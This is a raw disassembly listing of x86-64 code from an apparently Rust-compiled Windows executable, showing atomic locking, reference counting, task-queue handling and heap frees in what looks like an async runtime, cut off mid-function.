mov rax, qword [rbp + 0x3b8]
test rax, rax
jne 0x14003671e
mov rax, r14
lea rcx, [rbp + 0x3b0]
cmp qword [r14], rcx
jne 0x140036732
jmp 0x14003671e
lea rcx, [rdi + 8]
call fcn.1400a5fa0
jmp 0x140036586
lea rcx, [rdi + 8]
call fcn.1400a5c60
jmp 0x140036626
lea rax, [rbp + 0x3b0]
cmp qword [rdi + 0x10], rax
jne 0x140036732
mov rax, qword [rbp + 0x3b8]
mov qword [rdi + 0x10], rax
test rax, rax
je 0x1400366d4
mov rcx, qword [rbp + 0x3b0]
mov qword [rax], rcx
lea rax, [rbp + 0x3b0]
movups xmmword [rax], xmm6
mov byte [rbp + 0x3d8], 2
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 8], cl
jne 0x140036766
test rbx, rbx
je 0x140036547
mov rcx, r12
call qword [rbx + 0x18]
jmp 0x140036547
lea rcx, [rdi + 8]
call fcn.1400a5fa0
jmp 0x14003666a
lea rcx, [rdi + 8]
call fcn.1400a5c60
test rbx, rbx
jne 0x14003674d
jmp 0x140036547
cmp eax, 1
jne 0x1400392dd
mov rsi, qword [rbp + 0x3c0]
mov r12, qword [rbp + 0x3c8]
mov qword [rbp + 0x3c0], rbx
mov qword [rbp + 0x3c8], r13
lea rcx, [rbp + 0x3b0]
mov qword [rbp + 0x1c0], rcx
mov rax, qword [rdi + 0x10]
cmp rax, rcx
je 0x140039340
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0x3b0], 0
test rax, rax
je 0x1400367da
mov qword [rax], rcx
mov qword [rdi + 0x10], rcx
cmp qword [rdi + 0x18], 0
jne 0x1400367e8
mov qword [r14], rcx
mov byte [rbp + 0x3d8], 1
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 8], cl
jne 0x140036a16
test rsi, rsi
movzx r14d, byte [rbp + 0x4d0]
je 0x140036811
mov rcx, r12
call qword [rsi + 0x18]
movzx eax, byte [rbp + 0x310]
test eax, eax
je 0x140036830
cmp eax, 3
mov rsi, qword [rbp + 0x458]
je 0x14003683e
jmp 0x1400393a1
mov byte [rbp + 0x309], 0
mov rsi, qword [rbp + 0x458]
lea rcx, [rbp + 0x460]
lea rdx, [rbp + 0x2a0]
call fcn.14002cf40
cmp qword [rbp + 0x460], 0
setne dil
je 0x140036870
mov r12d, 2
mov bl, 3
jmp 0x140036930
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x470]
mov qword [rbp + 0x4c8], rax
mov r12d, 1
mov bl, 1
cmp byte [rbp + 0x309], 3
jne 0x140036930
movzx eax, byte [rbp + 0x2e0]
cmp eax, 4
je 0x1400368b2
cmp eax, 5
jne 0x1400368db
cmp byte [rbp + 0x300], 0
jne 0x1400368db
cmp qword [rbp + 0x2f0], 0
je 0x1400368db
mov r8, qword [rbp + 0x2e8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2c8], 0
je 0x1400368fb
mov r8, qword [rbp + 0x2c0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x308], 0
cmp qword [rbp + 0x2a8], 0
je 0x140036930
mov r8, qword [rbp + 0x2a0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
mov byte [rbp + 0x310], bl
lea rbx, [rbp + 0x3b0]
cmp r15b, 2
je 0x1400369bb
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x14003699a
test eax, eax
jne 0x1400369bb
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rsi + 0x158], 1
mov rsi, qword [rbp + 0x458]
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x154], r15b
mov byte [rax + 0x155], r14b
test dil, dil
je 0x140036b80
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x160]
test rcx, rcx
jne 0x140036490
call fcn.140095310
test rax, rax
je 0x140036110
mov rcx, qword [rax]
jmp 0x140036490
xor edi, edi
xor r12d, r12d
lea rbx, [rbp + 0x3b0]
movzx r14d, byte [rbp + 0x4d0]
jmp 0x14003693d
add rdi, 8
mov rcx, rdi
call fcn.1400a5c60
jmp 0x1400367fe
mov rax, qword [rbp + 0x3c0]
mov rcx, qword [rbp + 0x3c8]
mov qword [rbp + 0x3c0], 0
test rax, rax
je 0x140036a48
call qword [rax + 0x18]
mov qword [rbp + 0x3d0], 0
mov byte [rbp + 0x3d8], 2
xor edi, edi
xor r12d, r12d
jmp 0x140036a09
mov rsi, qword [rbp + 0x3c0]
mov rbx, qword [rbp + 0x3c8]
mov qword [rbp + 0x3c0], 0
mov qword [rbp + 0x3d0], 0
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 8], cl
jne 0x140036b4c
test rsi, rsi
movzx r14d, byte [rbp + 0x4d0]
je 0x140036aa7
mov rcx, rbx
call qword [rsi + 0x18]
mov byte [rbp + 0x3d8], 2
xor edi, edi
xor r12d, r12d
lea rbx, [rbp + 0x3b0]
mov rsi, qword [rbp + 0x458]
jmp 0x14003693d
test rbx, rbx
je 0x140036b07
cmp qword [rbp + 0x3c8], rsi
jne 0x140036b07
lea rax, [fcn.140095440]
cmp qword [rbx], rax
jne 0x140036b07
lea rax, [0x140095460]
cmp qword [rbx + 8], rax
jne 0x140036b07
lea rax, [0x140095520]
cmp qword [rbx + 0x10], rax
jne 0x140036b07
lea rax, [fcn.1400955d0]
cmp qword [rbx + 0x18], rax
je 0x140036b77
mov rcx, rsi
call fcn.140095440
mov rsi, qword [rbp + 0x3c0]
mov r12, qword [rbp + 0x3c8]
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], rdx
movzx r14d, byte [rbp + 0x4d0]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 8], cl
jne 0x140036b5d
test rsi, rsi
jne 0x14003680b
jmp 0x140036811
add rdi, 8
mov rcx, rdi
call fcn.1400a5c60
jmp 0x140036a94
add rdi, 8
mov rcx, rdi
call fcn.1400a5c60
test rsi, rsi
jne 0x14003680b
jmp 0x140036811
xor esi, esi
jmp 0x140036b2b
mov rcx, rsi
call fcn.1400955d0
cmp r12d, 2
je 0x1400396ac
cmp byte [rbp + 0x3d8], 1
jne 0x140036cab
mov rsi, qword [rbp + 0x3a0]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi + 8], cl
jne 0x140036ce8
mov r8, qword [rsi]
mov rax, qword [rbp + 0x3d0]
cmp rax, 3
jae 0x140039415
lea rcx, [rsi + 0x10]
mov rdx, qword [rbp + 0x3b0]
test rdx, rdx
je 0x140036bfc
mov r9, qword [rbp + 0x3b8]
mov qword [rdx + 8], r9
mov rdx, qword [rbp + 0x3b8]
test rdx, rdx
jne 0x140036c20
cmp qword [rsi + 0x18], rbx
jne 0x140036c2d
lea rdx, [rsi + 0x18]
jmp 0x140036c20
mov rdx, qword [rcx]
cmp rdx, rbx
je 0x140036c0b
test rdx, rdx
je 0x140036c35
jmp 0x140036c40
mov rdx, qword [rbp + 0x3b8]
mov qword [rcx], rdx
test rdx, rdx
je 0x140036bf0
nop word [rax + rax]
mov r9, qword [rbp + 0x3b0]
mov qword [rdx], r9
movups xmmword [rbx], xmm6
mov rdx, qword [rcx]
test rdx, rdx
jne 0x140036c40
cmp qword [rsi + 0x18], 0
jne 0x1400397ff
test rdx, rdx
jne 0x140036c5a
mov edx, r8d
and edx, 3
cmp edx, 1
jne 0x140036c5a
and r8, 0xfffffffffffffffc
mov rdx, r8
xchg qword [rsi], rdx
cmp rax, 1
jne 0x140036ca0
mov rdx, rsi
call fcn.140097080
test rax, rax
je 0x140036ca0
mov rdi, rax
mov rbx, rdx
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi + 8], cl
jne 0x140036d0c
mov rcx, rbx
call qword [rdi + 8]
lea rbx, [rbp + 0x3b0]
test r12, r12
je 0x140036cb4
jmp 0x140037922
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rsi + 8], cl
jne 0x140036cf6
test r12, r12
jne 0x140037922
mov rax, qword [rbp + 0x3c0]
test rax, rax
je 0x140036cca
mov rcx, qword [rbp + 0x3c8]
call qword [rax + 0x18]
cmp dword [rbp + 0x200], 2
je 0x1400363d0
lea rcx, [rbp + 0x200]
call fcn.1400095c0
jmp 0x1400363d0
lea rcx, [rsi + 8]
call fcn.1400a5fa0
jmp 0x140036bb5
add rsi, 8
mov rcx, rsi
call fcn.1400a5c60
test r12, r12
je 0x140036cb4
jmp 0x140037922
add rsi, 8
mov rcx, rsi
call fcn.1400a5c60
jmp 0x140036c82
mov rax, qword [rbp + 0xe0]
lock inc qword [rax]
jle 0x140039367
pxor xmm0, xmm0
lea rcx, [rbp + 0x230]
movdqu xmmword [rcx], xmm0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x210], 0
mov rax, qword [rbp + 0x4b8]
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x228], 8
lea rcx, [rbp + 0xb0]
mov qword [rbp + 0x240], rcx
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x3a8], rax
mov qword [rbp + 0x3e0], rcx
movdqu xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x3d0], xmm1
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x3b0], rax
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x3c0], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3a0], 0
jne 0x140039e27
cmp qword [rbp + 0x3b0], 0
jne 0x140039d7a
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b8], 0
test rsi, rsi
je 0x140039d88
mov qword [rbp + 0x3b0], 0
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140036e98
test eax, eax
jne 0x140039ee6
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rdi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x140]
mov qword [rbp + 0x4d0], rcx
lea rcx, [rbp + 0x3a0]
mov qword [rax + 0x140], rcx
mov rax, qword [rbp + 0x3a8]
mov byte [rax + 0xb8], 1
xor r14d, r14d
mov r12b, 1
lea r13, [0x140092de0]
jmp 0x140036f14
mov r8, qword [rbp + 0x3a8]
add r8, 0x10
lea rcx, [rbp + 0x3a8]
mov rdx, rsi
call fcn.140096d70
mov rsi, rax
mov rax, qword [rbp + 0x3a8]
xor ecx, ecx
xchg byte [rax + 0xb8], cl
test cl, cl
je 0x1400371c0
cmp qword [rbp + 0x3b0], 0
jne 0x14003936b
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3b8]
test rcx, rcx
je 0x140036f60
call fcn.140009740
mov rax, qword [rbp + 0x3b0]
inc rax
jmp 0x140036f62
xor eax, eax
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], rax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140036fbe
mov bl, 2
test eax, eax
jne 0x140036fe8
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
mov rdx, r13
call fcn.140075840
mov byte [rsi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x154]
movzx esi, byte [rax + 0x155]
mov word [rax + 0x154], 0x8001
movzx eax, byte [rbp + 0x310]
test eax, eax
je 0x140037000
cmp eax, 3
je 0x140037007
jmp 0x1400393a1
mov byte [rbp + 0x309], 0
lea rcx, [rbp + 0x460]
lea rdx, [rbp + 0x2a0]
call fcn.14002cf40
mov rdi, qword [rbp + 0x460]
test rdi, rdi
je 0x140037030
mov r15b, 3
jmp 0x1400370f0
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x470]
mov r15b, 1
cmp byte [rbp + 0x309], 3
jne 0x1400370f0
mov qword [rbp + 0x4c8], rax
movzx eax, byte [rbp + 0x2e0]
cmp eax, 4
je 0x14003706d
cmp eax, 5
jne 0x140037096
cmp byte [rbp + 0x300], 0
jne 0x140037096
cmp qword [rbp + 0x2f0], 0
je 0x140037096
mov r8, qword [rbp + 0x2e8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2c8], 0
je 0x1400370b6
mov r8, qword [rbp + 0x2c0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x308], 0
cmp qword [rbp + 0x2a8], 0
je 0x1400370dd
mov r8, qword [rbp + 0x2a0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4c8]
nop word cs:[rax + rax]
mov byte [rbp + 0x310], r15b
cmp bl, 2
je 0x140037172
mov r14, rax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x14003714f
test eax, eax
mov rax, r14
jne 0x140037172
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0x108]
mov rdx, r13
call fcn.140075840
mov byte [r15 + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x154], bl
mov byte [rax + 0x155], sil
mov rax, r14
cmp qword [rbp + 0x3b0], 0
jne 0x140039379
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b8], 0
test rsi, rsi
mov r14d, 0
je 0x140039387
mov qword [rbp + 0x3b0], 0
test rdi, rdi
je 0x14003793a
mov r8, qword [rbp + 0x3a8]
mov r15d, dword [r8 + 0x58]
test r15d, r15d
je 0x140036ef7
nop word cs:[rax + rax]
cmp byte [rsi + 0x68], 0
jne 0x1400393bb
mov eax, dword [rsi + 0x60]
mov ecx, dword [rsi + 0x64]
inc eax
mov dword [rsi + 0x60], eax
test ecx, ecx
je 0x140037e3d
mov rbx, qword [rbp + 0x3a8]
xor edx, edx
div ecx
test edx, edx
je 0x1400372a0
mov rax, qword [rsi + 0x58]
test rax, rax
jne 0x140037334
mov rax, qword [rbx + 0xb0]
test rax, rax
je 0x140037570
xor eax, eax
lock cmpxchg byte [rbx + 0x90], r12b
jne 0x14003753d
mov rax, qword [rbx + 0xb0]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [rbx + 0xb0], rdx
test rax, rax
je 0x14003736c
mov rdi, qword [rbx + 0x98]
test rdi, rdi
je 0x14003736c
mov rax, qword [rdi + 8]
mov qword [rbx + 0x98], rax
test rax, rax
jne 0x14003728e
mov qword [rbx + 0xa0], 0
mov qword [rdi + 8], 0
jmp 0x14003736e
mov rax, qword [rbx + 0xb0]
test rax, rax
je 0x140037327
xor eax, eax
lock cmpxchg byte [rbx + 0x90], r12b
jne 0x14003750f
mov rax, qword [rbx + 0xb0]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [rbx + 0xb0], rdx
test rax, rax
je 0x14003730f
mov rdi, qword [rbx + 0x98]
test rdi, rdi
je 0x14003730f
mov rax, qword [rdi + 8]
mov qword [rbx + 0x98], rax
test rax, rax
jne 0x140037305
mov qword [rbx + 0xa0], 0
mov qword [rdi + 8], 0
jmp 0x140037311
xor edi, edi
mov al, 1
lock cmpxchg byte [rbx + 0x90], r14b
jne 0x140037520
test rdi, rdi
jne 0x140037388
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x140037570
mov rdx, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
lea r8, [rcx + 1]
cmp r8, rdx
mov r8d, 0
cmovae r8, rdx
neg r8
lea rdx, [rcx + r8]
inc rdx
mov qword [rsi + 0x50], rdx
dec rax
mov qword [rsi + 0x58], rax
mov rax, qword [rsi + 0x40]
mov rdi, qword [rax + rcx*8]
jmp 0x140037388
xor edi, edi
mov al, 1
lock cmpxchg byte [rbx + 0x90], r14b
jne 0x14003754e
test rdi, rdi
je 0x140037570
cmp qword [rbp + 0x3b0], 0
jne 0x14003936b
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3b8]
test rcx, rcx
je 0x1400373c0
call fcn.140009740
mov rax, qword [rbp + 0x3b0]
inc rax
jmp 0x1400373c2
xor eax, eax
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], rax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x14003741e
mov bl, 2
test eax, eax
jne 0x140037448
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
mov rdx, r13
call fcn.140075840
mov byte [rsi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x154]
movzx esi, byte [rax + 0x155]
mov word [rax + 0x154], 0x8001
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax]
cmp bl, 2
je 0x1400374c2
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x1400374a2
test eax, eax
jne 0x1400374c2
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x108]
mov rdx, r13
call fcn.140075840
mov byte [rdi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x154], bl
mov byte [rax + 0x155], sil
cmp qword [rbp + 0x3b0], 0
jne 0x140039379
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b8], 0
test rsi, rsi
je 0x140039387
mov qword [rbp + 0x3b0], 0
dec r15d
jne 0x1400371e0
jmp 0x140036ef0
lea rcx, [rbx + 0x90]
call fcn.1400a5fa0
jmp 0x1400372bd
add rbx, 0x90
mov rcx, rbx
call fcn.1400a5c60
test rdi, rdi
jne 0x140037388
jmp 0x140037327
lea rcx, [rbx + 0x90]
call fcn.1400a5fa0
jmp 0x14003723e
add rbx, 0x90
mov rcx, rbx
call fcn.1400a5c60
test rdi, rdi
jne 0x140037388
nop word cs:[rax + rax]
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x3c0], rax
jae 0x140039831
cmp qword [rbp + 0x3d8], 0
mov rdi, qword [rbp + 0x3a8]
je 0x1400375ae
add rdi, 0x10
lea rcx, [rbp + 0x3a8]
mov rdx, rsi
mov r8, rdi
jmp 0x140036f05
mov rbx, qword [rsi]
mov qword [rsi], 2
cmp rbx, 2
je 0x140039a3c
mov qword [rbp + 0x1c0], rbx
mov rax, qword [rsi + 0x38]
lea rcx, [rbp + 0x1c8]
mov qword [rcx + 0x30], rax
movdqu xmm0, xmmword [rsi + 8]
movdqu xmm1, xmmword [rsi + 0x18]
movdqu xmm2, xmmword [rsi + 0x28]
movdqu xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov r15, qword [rdi + 0x20]
test r15, r15
je 0x1400376a5
cmp qword [rbp + 0x3b0], 0
jne 0x14003936b
mov qword [rbp + 0x3b0], 0xffffffffffffffff
cmp qword [rbp + 0x3b8], 0
je 0x14003763d
lea rcx, [rbp + 0x3b8]
call fcn.140095840
mov rax, qword [rbp + 0x3b0]
inc rax
jmp 0x14003763f
xor eax, eax
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], rax
mov rax, qword [rdi + 0x28]
mov rcx, qword [rax + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, r15
add rcx, 0x10
call qword [rax + 0x28]
cmp qword [rbp + 0x3b0], 0
jne 0x140039379
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b8], 0
test rsi, rsi
je 0x140039387
mov qword [rbp + 0x3b0], 0
cmp qword [rsi + 0x58], 0
jne 0x1400377f0
cmp qword [rbp + 0x3b0], 0
jne 0x14003936b
mov qword [rbp + 0x3b0], 0xffffffffffffffff
cmp qword [rbp + 0x3b8], 0
je 0x1400376eb
lea rcx, [rbp + 0x3b8]
call fcn.140095840
mov rax, qword [rbp + 0x3b0]
inc rax
jmp 0x1400376ed
xor eax, eax
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], rax
lea rdx, [rdi + 0xc0]
test rbx, rbx
je 0x140037722
cmp byte [rbp + 0x1f8], 2
jne 0x140037736
mov rcx, qword [rbp + 0x1c8]
add rcx, 0x10
call fcn.140095620
jmp 0x140037752
lea rcx, [rbp + 0x1c8]
mov r9d, 0x3b9aca00
call fcn.1400959b0
jmp 0x140037752
cmp qword [rdx], 0
je 0x140039f1b
lea rcx, [rbp + 0x1c8]
mov r9d, 0x3b9aca00
call fcn.140095cc0
cmp qword [rbp + 0x3c0], 0
jne 0x14003979e
mov qword [rbp + 0x3c0], 0xffffffffffffffff
mov rax, qword [rbp + 0x3d8]
test rax, rax
je 0x1400377a6
dec rax
mov qword [rbp + 0x3d8], rax
mov rcx, qword [rbp + 0x3c8]
shl rax, 4
mov rdx, qword [rcx + rax]
mov rcx, qword [rcx + rax + 8]
call qword [rdx + 8]
inc qword [rbp + 0x3c0]
je 0x140037760
jmp 0x14003979e
mov qword [rbp + 0x3c0], 0
cmp qword [rbp + 0x3b0], 0
jne 0x140039379
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b8], 0
test rsi, rsi
je 0x140039387
mov qword [rbp + 0x3b0], 0
mov rbx, qword [rdi + 0x30]
test rbx, rbx
je 0x1400378a0
cmp qword [rbp + 0x3b0], 0
jne 0x14003936b
mov qword [rbp + 0x3b0], 0xffffffffffffffff
cmp qword [rbp + 0x3b8], 0
je 0x140037838
lea rcx, [rbp + 0x3b8]
call fcn.140095840
mov rax, qword [rbp + 0x3b0]
inc rax
jmp 0x14003783a
xor eax, eax
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], rax
mov rax, qword [rdi + 0x38]
mov rcx, qword [rax + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rbx
add rcx, 0x10
call qword [rax + 0x28]
cmp qword [rbp + 0x3b0], 0
jne 0x140039379
mov qword [rbp + 0x3b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x3b8]
mov qword [rbp + 0x3b8], 0
test rsi, rsi
je 0x140039387
mov qword [rbp + 0x3b0], 0
movups xmm0, xmmword [rbp + 0x1c0]
movups xmm1, xmmword [rbp + 0x1d0]
movups xmm2, xmmword [rbp + 0x1e0]
movups xmm3, xmmword [rbp + 0x1f0]
movaps xmmword [rbp + 0x490], xmm3
movaps xmmword [rbp + 0x480], xmm2
movaps xmmword [rbp + 0x470], xmm1
movaps xmmword [rbp + 0x460], xmm0
cmp dword [rsi], 2
je 0x1400378e5
mov rcx, rsi
call fcn.140093d50
movdqa xmm0, xmmword [rbp + 0x460]
movdqa xmm1, xmmword [rbp + 0x470]
movdqa xmm2, xmmword [rbp + 0x480]
movaps xmm3, xmmword [rbp + 0x490]
movups xmmword [rsi + 0x30], xmm3
movdqu xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov rax, qword [rbp + 0x3a8]
jmp 0x140036f14
mov rax, qword [rbp + 0x3c0]
test rax, rax
je 0x140037980
mov rcx, qword [rbp + 0x3c8]
call qword [rax + 0x18]
jmp 0x140037980
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x4d0]
mov qword [rax + 0x140], rcx
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3b0], 0
lea rcx, [rbp + 0x3a0]
call fcn.1400095c0
cmp qword [rbp + 0x4b8], 0
jne 0x1400379a2
mov rax, qword [rbp + 0x200]
cmp eax, 2
je 0x1400379a2
lea rcx, [rbp + 0x200]
call fcn.1400095c0
mov ecx, dword [rbp + 0x288]
mov edx, dword [rbp + 0x28c]
call fcn.140095720
lea rcx, [rbp + 0x270]
call fcn.140094c20
mov rax, qword [rbp + 0x270]
cmp rax, 2
je 0x140037a27
test rax, rax
je 0x140037a0e
mov rax, qword [rbp + 0x278]
lock dec qword [rax]
jne 0x140037a27
lea rcx, [rbp + 0x278]
call fcn.14000c3d0
jmp 0x140037a27
mov rax, qword [rbp + 0x3a8]
lock dec qword [rax]
jne 0x140037ac2
lea rcx, [rbp + 0x3a8]
call fcn.14000c6c0
jmp 0x140037ac2
mov rax, qword [rbp + 0x278]
lock dec qword [rax]
jne 0x140037a27
lea rcx, [rbp + 0x278]
call fcn.14000c6c0
cmp byte [rbp + 0x310], 3
jne 0x140037ac2
cmp byte [rbp + 0x309], 3
jne 0x140037ac2
movzx eax, byte [rbp + 0x2e0]
cmp eax, 4
je 0x140037a52
cmp eax, 5
jne 0x140037a7b
cmp byte [rbp + 0x300], 0
jne 0x140037a7b
cmp qword [rbp + 0x2f0], 0
je 0x140037a7b
mov r8, qword [rbp + 0x2e8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2c8], 0
je 0x140037a9b
mov r8, qword [rbp + 0x2c0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x308], 0
cmp qword [rbp + 0x2a8], 0
je 0x140037ac2
mov r8, qword [rbp + 0x2a0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x250]
call fcn.140094c20
mov rax, qword [rbp + 0x250]
cmp rax, 2
je 0x140037b0d
lea rcx, [rbp + 0x258]
test rax, rax
je 0x140037afb
mov rax, qword [rbp + 0x258]
lock dec qword [rax]
jne 0x140037b0d
call fcn.14000c3d0
jmp 0x140037b0d
mov rax, qword [rbp + 0x258]
lock dec qword [rax]
jne 0x140037b0d
call fcn.14000c6c0
cmp qword [rbp + 0xa8], 0
je 0x140037b71
cmp qword [rbp + 0xd8], 0
je 0x140039aec
mov rsi, qword [rbp + 0xe0]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0xc8], cl
jne 0x140037f1d
cmp byte [rsi + 0xf8], 0
je 0x140037f36
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0xc8], cl
je 0x140037f86
add rsi, 0xc8
mov rcx, rsi
call fcn.1400a5c60
jmp 0x140037f86
mov rdx, qword [rbp + 0xd8]
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp + 0x460]
call fcn.1400948e0
cmp qword [rbp + 0xd8], 0
jne 0x140039d16
xor edi, edi
xchg qword [rbp + 0xd0], rdi
test rdi, rdi
je 0x1400391d2
mov rsi, qword [rbp + 0xe0]
lock inc qword [rsi]
jle 0x140039367
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3a0], 0
mov qword [rbp + 0x3a8], rsi
mov qword [rbp + 0x3b0], 0
mov qword [rbp + 0x3b8], rdi
mov qword [rbp + 0x3c0], 0
mov qword [rbp + 0x3c8], 8
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x3e0], rax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140037c60
test eax, eax
jne 0x140037ca6
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movabs rcx, 0x7fffffffffffffff
cmp qword [rax + 0x108], rcx
jae 0x1400394eb
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
